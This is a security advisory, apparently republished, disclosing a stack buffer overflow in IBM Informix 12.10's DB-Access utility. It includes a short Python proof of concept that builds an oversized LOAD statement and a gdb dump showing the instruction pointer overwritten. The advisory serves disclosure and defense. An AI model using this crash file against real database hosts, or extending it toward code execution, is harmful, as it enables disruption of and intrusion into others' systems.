IBM Informix 12.10 DB-Access Buffer Overflow

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DefenseCode Security Advisory  
IBM Informix DB-Access Buffer Overflow  
  
  
Advisory ID: DC-2017-04-001  
Advisory Title: IBM Informix DB-Access Buffer Overflow  
Advisory URL:  
http://www.defensecode.com/advisories/DC-2017-04-001_IBM_Informix_DB-Access_Buffer_Overflow.pdf  
Software: IBM Informix  
Version: 12.10  
Vendor Status: Vendor Contacted / Not Fixed  
Release Date: 11.07.2017  
Risk: High  
  
  
  
1. General Overview  
===================  
IBM Informix DB-Access utility is vulnerable to a stack based buffer  
overflow,  
caused by improper bounds checking which could allow an attacker to execute  
arbitrary code. The vulnerability is triggered by providing an overly long  
file parameter value inside a LOAD statement, which is used to insert data  
from an operating-system file into an existing table or view.  
  
  
2. Software Overview  
===================  
Informix is one of the worldas most widely used database servers with users  
ranging from the worldas largest corporations to start-ups. IBM Informix  
incorporates design concepts that are significantly different from  
traditional  
relational platforms, resulting in extremely high levels of performance and  
availability, distinctive capabilities in data replication and  
scalability, and  
minimal administrative overhead.  
  
The DB-Access utility is included with the Informix server and with the  
Informix  
Client Software Development Kit. DB-Access provides a menu-driven  
interface for  
entering, running, and debugging SQL statements and Stored Procedure  
Language  
routines. DB-Access can also be ran interactively from the command line.  
  
  
3. Brief Vulnerability Description  
==================================  
By providing a specially crafted command file to the DB-Access command line  
utility it is possible to cause a buffer overflow, overwriting the  
instruction  
pointer (EIP) and thus hijack the execution flow of the program. Crafted  
file  
contains a LOAD statement with an overly long file parameter that will  
overwrite EIP.  
  
3.1 Proof of Concept  
  
The following python script will generate a proof of concept .sql crash  
test  
file that can be used to verify the vulnerability:  
  
-------  
#!/usr/bin/python  
  
load_overflow = 'A' * 5000  
statement = "LOAD FROM '" + load_overflow + " test' INSERT INTO example;"  
  
crash_file = open("crash.sql", "w")  
crash_file.write(statement)  
crash_file.close()  
-------  
  
PoC usage: dbaccess <name of existing database> crash.sql  
  
-------  
Registers state following the overflow:  
  
(gdb) i r  
eax 0xffffffff -1  
ecx 0xb7bf4d00 -1212199680  
edx 0x0 0  
ebx 0x41414141 1094795585  
esp 0xbfffce40 0xbfffce40  
ebp 0x41414141 0x41414141  
esi 0x41414141 1094795585  
edi 0x41414141 1094795585  
eip 0x41414141 0x41414141  
-------  
  
PoC tested on: Informix Innovator-C Edition for Linux x86 32  
  
  
4. Solution  
==========  
The vulnerability has not been addressed by vendor in a 90 days period  
following the submission. Vendor has expressed an intention of fixing the  
vulnerability in a future update.  
  
  
5. Credits  
==========  
Vulnerability discovered by Leon Juranic, further analysis by Bosko  
Stankovic.  
  
  
  
6. About DefenseCode  
================================  
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